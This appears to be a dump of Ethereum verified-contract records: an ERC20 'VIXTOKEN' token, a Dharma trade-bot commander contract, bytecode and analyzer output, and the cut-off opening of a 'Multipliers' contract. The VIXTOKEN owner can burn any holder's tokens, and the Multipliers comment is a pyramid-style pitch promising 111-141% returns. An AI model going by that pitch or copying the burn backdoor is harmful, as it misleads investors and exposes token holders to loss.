* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract VIXTOKEN is ERC20, Ownable {
constructor ()
public
ERC20 ("VIXTOKEN", "VIX", 18) {
_mint(msg.sender, 420000000000E18);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102d9578063a9059cbb14610305578063dd62ed3e14610331578063f2fde38b1461035f576100f5565b8063715018a6146102775780638da5cb5b1461028157806395d89b41146102a55780639dc29fac146102ad576100f5565b806323b872dd116100d357806323b872dd146101d1578063313ce56714610207578063395093511461022557806370a0823114610251576100f5565b806306fdde03146100fa578063095ea7b31461017757806318160ddd146101b7575b600080fd5b610102610385565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561018d57600080fd5b506001600160a01b03813516906020013561041b565b604080519115158252519081900360200190f35b6101bf610497565b60408051918252519081900360200190f35b6101a3600480360360608110156101e757600080fd5b506001600160a01b0381358116916020810135909116906040013561049d565b61020f610566565b6040805160ff9092168252519081900360200190f35b6101a36004803603604081101561023b57600080fd5b506001600160a01b03813516906020013561056f565b6101bf6004803603602081101561026757600080fd5b50356001600160a01b031661061d565b61027f610638565b005b6102896106f7565b604080516001600160a01b039092168252519081900360200190f35b61010261070b565b61027f600480360360408110156102c357600080fd5b506001600160a01b03813516906020013561076c565b6101a3600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107e9565b6101a36004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610832565b6101bf6004803603604081101561034757600080fd5b506001600160a01b0381358116916020013516610848565b61027f6004803603602081101561037557600080fd5b50356001600160a01b0316610873565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b820191906000526020600020905b8154815290600101906020018083116103f457829003601f168201915b5050505050905090565b60006001600160a01b03831661043057600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b03831660009081526001602090815260408083203384529091528120546104d1908363ffffffff6109a716565b6001600160a01b03851660009081526001602090815260408083203384529091529020556105008484846109bc565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b03831661058457600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105b8908363ffffffff61098e16565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6001600160a01b031660009081526020819052604090205490565b610640610a87565b60055461010090046001600160a01b039081169116146106a7576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104115780601f106103e657610100808354040283529160200191610411565b610774610a87565b60055461010090046001600160a01b039081169116146107db576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6107e58282610a8b565b5050565b60006001600160a01b0383166107fe57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105b8908363ffffffff6109a716565b600061083f3384846109bc565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61087b610a87565b60055461010090046001600160a01b039081169116146108e2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109275760405162461bcd60e51b8152600401808060200182810382526026815260200180610b336026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156109a057600080fd5b9392505050565b6000828211156109b657600080fd5b50900390565b6001600160a01b0382166109cf57600080fd5b6001600160a01b0383166000908152602081905260409020546109f8908263ffffffff6109a716565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a2d908263ffffffff61098e16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610a9e57600080fd5b600254610ab1908263ffffffff6109a716565b6002556001600160a01b038216600090815260208190526040902054610add908263ffffffff6109a716565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220947cf5e0eb39374de31926f21552c5d1a3dfdd88d989dd9bd0339f11e2d5d3a764736f6c634300060a0033
|
{"success": true, "error": null, "results": {}}
| 8,160 |
0x486f1800415c974dfcf12ff57200fa86b04253f5
|
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface TradeBotCommanderV2Interface {
// events
event AddedAccount(address account);
event RemovedAccount(address account);
event Call(address target, uint256 amount, bytes data, bool ok, bytes returnData);
// callable by accounts
function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (bool ok, uint256 amountReceived);
function deployAndProcessLimitOrder(
address initialSigningKey, // the initial key on the keyring
address keyRing,
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external returns (bool ok, bytes memory returnData);
// only callable by owner
function addAccount(address account) external;
function removeAccount(address account) external;
function callAny(
address payable target, uint256 amount, bytes calldata data
) external returns (bool ok, bytes memory returnData);
// view functions
function getAccounts() external view returns (address[] memory);
function getTradeBot() external view returns (address tradeBot);
}
interface DharmaTradeBotV1Interface {
struct LimitOrderArguments {
address account;
address assetToSupply; // Ether = address(0)
address assetToReceive; // Ether = address(0)
uint256 maximumAmountToSupply;
uint256 maximumPriceToAccept; // represented as a mantissa (n * 10^18)
uint256 expiration;
bytes32 salt;
}
struct LimitOrderExecutionArguments {
uint256 amountToSupply; // will be lower than maximum for partial fills
bytes signatures;
address tradeTarget;
bytes tradeData;
}
function processLimitOrder(
LimitOrderArguments calldata args,
LimitOrderExecutionArguments calldata executionArgs
) external returns (uint256 amountReceived);
}
interface DharmaSmartWalletFactoryV1Interface {
function newSmartWallet(
address userSigningKey
) external returns (address wallet);
function getNextSmartWallet(
address userSigningKey
) external view returns (address wallet);
}
interface DharmaKeyRingFactoryV2Interface {
function newKeyRing(
address userSigningKey, address targetKeyRing
) external returns (address keyRing);
function getNextKeyRing(
address userSigningKey
) external view returns (address targetKeyRing);
}
contract TwoStepOwnable {
address private _owner;
address private _newPotentialOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initialize contract by setting transaction submitter as initial owner.
*/
constructor() internal {
_owner = tx.origin;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "TwoStepOwnable: caller is not the owner.");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows a new account (`newOwner`) to accept ownership.
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"TwoStepOwnable: new potential owner is the zero address."
);
_newPotentialOwner = newOwner;
}
/**
* @dev Cancel a transfer of ownership to a new account.
* Can only be called by the current owner.
*/
function cancelOwnershipTransfer() public onlyOwner {
delete _newPotentialOwner;
}
/**
* @dev Transfers ownership of the contract to the caller.
* Can only be called by a new potential owner set by the current owner.
*/
function acceptOwnership() public {
require(
msg.sender == _newPotentialOwner,
"TwoStepOwnable: current owner must set caller as new potential owner."
);
delete _newPotentialOwner;
emit OwnershipTransferred(_owner, msg.sender);
_owner = msg.sender;
}
}
contract TradeBotCommanderV2Staging is TradeBotCommanderV2Interface, TwoStepOwnable {
// Track all authorized accounts.
address[] private _accounts;
// Indexes start at 1, as 0 signifies non-inclusion
mapping (address => uint256) private _accountIndexes;
DharmaTradeBotV1Interface private immutable _TRADE_BOT;
DharmaSmartWalletFactoryV1Interface private immutable _WALLET_FACTORY;
DharmaKeyRingFactoryV2Interface private immutable _KEYRING_FACTORY;
bool public constant isStaging = true;
constructor(address walletFactory, address keyRingFactory, address tradeBot, address[] memory initialAccounts) public {
require(
walletFactory != address(0) &&
keyRingFactory != address(0) &&
tradeBot != address(0),
"Missing required constructor arguments."
);
_WALLET_FACTORY = DharmaSmartWalletFactoryV1Interface(walletFactory);
_KEYRING_FACTORY = DharmaKeyRingFactoryV2Interface(keyRingFactory);
_TRADE_BOT = DharmaTradeBotV1Interface(tradeBot);
for (uint256 i; i < initialAccounts.length; i++) {
address account = initialAccounts[i];
_addAccount(account);
}
}
function processLimitOrder(
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external override returns (bool ok, uint256 amountReceived) {
require(
_accountIndexes[msg.sender] != 0,
"Only authorized accounts may trigger limit orders."
);
amountReceived = _TRADE_BOT.processLimitOrder(
args, executionArgs
);
ok = true;
}
// Deploy a key ring and a smart wallet, then process the limit order.
function deployAndProcessLimitOrder(
address initialSigningKey, // the initial key on the keyring
address keyRing,
DharmaTradeBotV1Interface.LimitOrderArguments calldata args,
DharmaTradeBotV1Interface.LimitOrderExecutionArguments calldata executionArgs
) external override returns (bool ok, bytes memory returnData) {
require(
_accountIndexes[msg.sender] != 0,
"Only authorized accounts may trigger limit orders."
);
_deployNewKeyRingIfNeeded(initialSigningKey, keyRing);
_deployNewSmartWalletIfNeeded(keyRing, args.account);
try _TRADE_BOT.processLimitOrder(args, executionArgs) returns (uint256 amountReceived) {
return (true, abi.encode(amountReceived));
} catch (bytes memory revertData) {
return (false, revertData);
}
}
function addAccount(address account) external override onlyOwner {
_addAccount(account);
}
function removeAccount(address account) external override onlyOwner {
_removeAccount(account);
}
function callAny(
address payable target, uint256 amount, bytes calldata data
) external override onlyOwner returns (bool ok, bytes memory returnData) {
// Call the specified target and supply the specified amount and data.
(ok, returnData) = target.call{value: amount}(data);
emit Call(target, amount, data, ok, returnData);
}
function getAccounts() external view override returns (address[] memory) {
return _accounts;
}
function getTradeBot() external view override returns (address tradeBot) {
return address(_TRADE_BOT);
}
function _deployNewKeyRingIfNeeded(
address initialSigningKey, address expectedKeyRing
) internal returns (address keyRing) {
// Only deploy if a contract doesn't already exist at expected address.
bytes32 size;
assembly { size := extcodesize(expectedKeyRing) }
if (size == 0) {
require(
_KEYRING_FACTORY.getNextKeyRing(initialSigningKey) == expectedKeyRing,
"Key ring to be deployed does not match expected key ring."
);
keyRing = _KEYRING_FACTORY.newKeyRing(initialSigningKey, expectedKeyRing);
} else {
// Note: the key ring at the expected address may have been modified so that
// the supplied user signing key is no longer a valid key - therefore, treat
// this helper as a way to protect against race conditions, not as a primary
// mechanism for interacting with key ring contracts.
keyRing = expectedKeyRing;
}
}
function _deployNewSmartWalletIfNeeded(
address userSigningKey, // the key ring
address expectedSmartWallet
) internal returns (address smartWallet) {
// Only deploy if a contract doesn't already exist at expected address.
bytes32 size;
assembly { size := extcodesize(expectedSmartWallet) }
if (size == 0) {
require(
_WALLET_FACTORY.getNextSmartWallet(userSigningKey) == expectedSmartWallet,
"Smart wallet to be deployed does not match expected smart wallet."
);
smartWallet = _WALLET_FACTORY.newSmartWallet(userSigningKey);
} else {
// Note: the smart wallet at the expected address may have been modified
// so that the supplied user signing key is no longer a valid key.
// Therefore, treat this helper as a way to protect against race
// conditions, not as a primary mechanism for interacting with smart
// wallet contracts.
smartWallet = expectedSmartWallet;
}
}
function _addAccount(address account) internal {
require(
_accountIndexes[account] == 0,
"Account matching the provided account already exists."
);
_accounts.push(account);
_accountIndexes[account] = _accounts.length;
emit AddedAccount(account);
}
function _removeAccount(address account) internal {
uint256 removedAccountIndex = _accountIndexes[account];
require(
removedAccountIndex != 0,
"No account found matching the provided account."
);
// swap account to remove with the last one then pop from the array.
address lastAccount = _accounts[_accounts.length - 1];
_accounts[removedAccountIndex - 1] = lastAccount;
_accountIndexes[lastAccount] = removedAccountIndex;
_accounts.pop();
delete _accountIndexes[account];
emit RemovedAccount(account);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806379ba50971161008c5780638f32d59b116100665780638f32d59b1461018b578063c4740a9514610193578063e89b0e1e146101a6578063f2fde38b146101b9576100cf565b806379ba5097146101665780638a48ac031461016e5780638da5cb5b14610183576100cf565b80630276c810146100d457806312e6bf6a146100fe578063209547801461011f57806323452b9c1461013457806352cac2031461013e5780637328cf4b14610153575b600080fd5b6100e76100e2366004610d25565b6101cc565b6040516100f5929190610f15565b60405180910390f35b61011161010c366004610c2d565b6102ae565b6040516100f5929190610ef2565b610127610384565b6040516100f59190610e1d565b61013c6103a8565b005b6101466103de565b6040516100f59190610ee7565b610111610161366004610cb1565b6103e3565b61013c61053b565b6101766105c1565b6040516100f59190610e9a565b610127610623565b610146610632565b61013c6101a1366004610bee565b610643565b61013c6101b4366004610bee565b610673565b61013c6101c7366004610bee565b6106a0565b3360009081526003602052604081205481906102035760405162461bcd60e51b81526004016101fa90610f82565b60405180910390fd5b60405162276c8160e41b81526001600160a01b037f0000000000000000000000000f36f2da9f935a7802a4f1af43a3740a73219a9e1690630276c8109061025090879087906004016111ef565b602060405180830381600087803b15801561026a57600080fd5b505af115801561027e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a29190610d73565b60019590945092505050565b600060606102ba610632565b6102d65760405162461bcd60e51b81526004016101fa9061108e565b856001600160a01b03168585856040516102f1929190610e0d565b60006040518083038185875af1925050503d806000811461032e576040519150601f19603f3d011682016040523d82523d6000602084013e610333565b606091505b5060405191935091507fac8eff309dd62364b14e77486e3f919febb792cada3cdd641a6893f70ecab30e9061037390889088908890889088908890610e31565b60405180910390a194509492505050565b7f0000000000000000000000000f36f2da9f935a7802a4f1af43a3740a73219a9e90565b6103b0610632565b6103cc5760405162461bcd60e51b81526004016101fa9061108e565b600180546001600160a01b0319169055565b600181565b336000908152600360205260408120546060906104125760405162461bcd60e51b81526004016101fa90610f82565b61041c868661070c565b506104338561042e6020870187610bee565b610893565b5060405162276c8160e41b81526001600160a01b037f0000000000000000000000000f36f2da9f935a7802a4f1af43a3740a73219a9e1690630276c8109061048190879087906004016111ef565b602060405180830381600087803b15801561049b57600080fd5b505af19250505080156104cb575060408051601f3d908101601f191682019092526104c891810190610d73565b60015b61050a573d8080156104f9576040519150601f19603f3d011682016040523d82523d6000602084013e6104fe565b606091505b50600092509050610532565b60018160405160200161051d91906112e8565b60405160208183030381529060405292509250505b94509492505050565b6001546001600160a01b031633146105655760405162461bcd60e51b81526004016101fa90610fd4565b600180546001600160a01b03191690556000805460405133926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191633179055565b6060600280548060200260200160405190810160405280929190818152602001828054801561061957602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116105fb575b5050505050905090565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b61064b610632565b6106675760405162461bcd60e51b81526004016101fa9061108e565b610670816109b4565b50565b61067b610632565b6106975760405162461bcd60e51b81526004016101fa9061108e565b61067081610aeb565b6106a8610632565b6106c45760405162461bcd60e51b81526004016101fa9061108e565b6001600160a01b0381166106ea5760405162461bcd60e51b81526004016101fa90611192565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000813b8061088857826001600160a01b03167f0000000000000000000000007d849544f5cb797ae84add18a15a6de1f12df5f96001600160a01b03166399b583aa866040518263ffffffff1660e01b815260040161076b9190610e1d565b60206040518083038186803b15801561078357600080fd5b505afa158015610797573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bb9190610c11565b6001600160a01b0316146107e15760405162461bcd60e51b81526004016101fa90610f25565b6040516344651f2160e11b81526001600160a01b037f0000000000000000000000007d849544f5cb797ae84add18a15a6de1f12df5f916906388ca3e429061082f9087908790600401610e80565b602060405180830381600087803b15801561084957600080fd5b505af115801561085d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108819190610c11565b915061088c565b8291505b5092915050565b6000813b8061088857826001600160a01b03167f0000000000000000000000008d1e00b000e56d5bcb006f3a008ca6003b9f00336001600160a01b031663e8dd05f2866040518263ffffffff1660e01b81526004016108f29190610e1d565b60206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109429190610c11565b6001600160a01b0316146109685760405162461bcd60e51b81526004016101fa906110d6565b60405163285e7bfd60e01b81526001600160a01b037f0000000000000000000000008d1e00b000e56d5bcb006f3a008ca6003b9f0033169063285e7bfd9061082f908790600401610e1d565b6001600160a01b038116600090815260036020526040902054806109ea5760405162461bcd60e51b81526004016101fa9061103f565b60028054600091906000198101908110610a0057fe5b600091825260209091200154600280546001600160a01b03909216925082916000198501908110610a2d57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b0394851617905591831681526003909152604090208290556002805480610a7157fe5b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b038516825260039052604080822091909155517f5e66dcbd55f2f06d832f5cdf7e1fc46d68be6ba8cac7b5c2a611de0e9b6c92a790610ade908590610e1d565b60405180910390a1505050565b6001600160a01b03811660009081526003602052604090205415610b215760405162461bcd60e51b81526004016101fa9061113d565b600280546001810182557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b03841690811790915590546000918252600360205260409182902055517f9c12b8c530e38690083f6a015377e53f2d684153c65b58318cad7e8d0c9d6c8d90610baa908390610e1d565b60405180910390a150565b8035610bc08161134a565b92915050565b600060e08284031215610bd7578081fd5b50919050565b600060808284031215610bd7578081fd5b600060208284031215610bff578081fd5b8135610c0a8161134a565b9392505050565b600060208284031215610c22578081fd5b8151610c0a8161134a565b60008060008060608587031215610c42578283fd5b8435610c4d8161134a565b935060208501359250604085013567ffffffffffffffff80821115610c70578384fd5b818701915087601f830112610c83578384fd5b813581811115610c91578485fd5b886020828501011115610ca2578485fd5b95989497505060200194505050565b6000806000806101408587031215610cc7578384fd5b8435610cd28161134a565b93506020850135610ce28161134a565b9250610cf18660408701610bc6565b915061012085013567ffffffffffffffff811115610d0d578182fd5b610d1987828801610bdd565b91505092959194509250565b6000806101008385031215610d38578182fd5b610d428484610bc6565b915060e083013567ffffffffffffffff811115610d5d578182fd5b610d6985828601610bdd565b9150509250929050565b600060208284031215610d84578081fd5b5051919050565b6001600160a01b03169052565b60008284528282602086013780602084860101526020601f19601f85011685010190509392505050565b60008151808452815b81811015610de757602081850181015186830182015201610dcb565b81811115610df85782602083870101525b50601f01601f19169290920160200192915050565b6000828483379101908152919050565b6001600160a01b0391909116815260200190565b600060018060a01b038816825286602083015260a06040830152610e5960a083018688610d98565b84151560608401528281036080840152610e738185610dc2565b9998505050505050505050565b6001600160a01b0392831681529116602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610edb5783516001600160a01b031683529284019291840191600101610eb6565b50909695505050505050565b901515815260200190565b6000831515825260406020830152610f0d6040830184610dc2565b949350505050565b9115158252602082015260400190565b60208082526039908201527f4b65792072696e6720746f206265206465706c6f79656420646f6573206e6f7460408201527f206d61746368206578706563746564206b65792072696e672e00000000000000606082015260800190565b60208082526032908201527f4f6e6c7920617574686f72697a6564206163636f756e7473206d61792074726960408201527133b3b2b9103634b6b4ba1037b93232b9399760711b606082015260800190565b60208082526045908201527f54776f537465704f776e61626c653a2063757272656e74206f776e6572206d7560408201527f7374207365742063616c6c6572206173206e657720706f74656e7469616c206f6060820152643bb732b91760d91b608082015260a00190565b6020808252602f908201527f4e6f206163636f756e7420666f756e64206d61746368696e672074686520707260408201526e37bb34b232b21030b1b1b7bab73a1760891b606082015260800190565b60208082526028908201527f54776f537465704f776e61626c653a2063616c6c6572206973206e6f74207468604082015267329037bbb732b91760c11b606082015260800190565b60208082526041908201527f536d6172742077616c6c657420746f206265206465706c6f79656420646f657360408201527f206e6f74206d6174636820657870656374656420736d6172742077616c6c65746060820152601760f91b608082015260a00190565b60208082526035908201527f4163636f756e74206d61746368696e67207468652070726f766964656420616360408201527431b7bab73a1030b63932b0b23c9032bc34b9ba399760591b606082015260800190565b60208082526038908201527f54776f537465704f776e61626c653a206e657720706f74656e7469616c206f7760408201527f6e657220697320746865207a65726f20616464726573732e0000000000000000606082015260800190565b60006101006020850161120b846112068389610bb5565b610d8b565b61121581876112f1565b90506112246020850182610d8b565b5061123260408601866112f1565b61123f6040850182610d8b565b50606085013560608401526080850135608084015260a085013560a084015260c085013560c08401528060e08401528335818401525061128260208401846112fe565b608061012085015261129961018085018284610d98565b9150506112a960408501856112f1565b6112b7610140850182610d8b565b506112c560608501856112fe565b84830360ff19016101608601526112dd838284610d98565b979650505050505050565b90815260200190565b60008235610c0a8161134a565b6000808335601e19843603018112611314578283fd5b830160208101925035905067ffffffffffffffff81111561133457600080fd5b80360383131561134357600080fd5b9250929050565b6001600160a01b038116811461067057600080fdfea264697066735822122068a5ec6f24798820503c2740857ee499271f56c912eb0302783cdf27da88749e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,161 |
0x77700c746fde1289b5cb12cdeb6d34c2e71e0777
|
/**
*Submitted for verification at Etherscan.io on 2019-07-10
*/
pragma solidity ^0.4.25;
/**
Multipliers contract: returns 111%-141% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 10 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bit
3. ...
4. PROFIT! You have got 111-141%
How is that?
1. The first investor in the queue (you will become the
first in some time) receives next investments until
it become 111-141% of his initial investment.
2. You will receive payments in several parts or all at once
3. Once you receive 111-141% of your initial investment you are
removed from the queue.
4. You can make multiple deposits
5. The balance of this contract should normally be 0 because
all the money are immediately go to payouts
6. The more deposits you make the more multiplier you get. See MULTIPLIERS var
7. If you are the last depositor (no deposits after you in 30 mins)
you get 5% of all the ether that were on the contract. Send 0 to withdraw it.
Do it BEFORE NEXT RESTART!
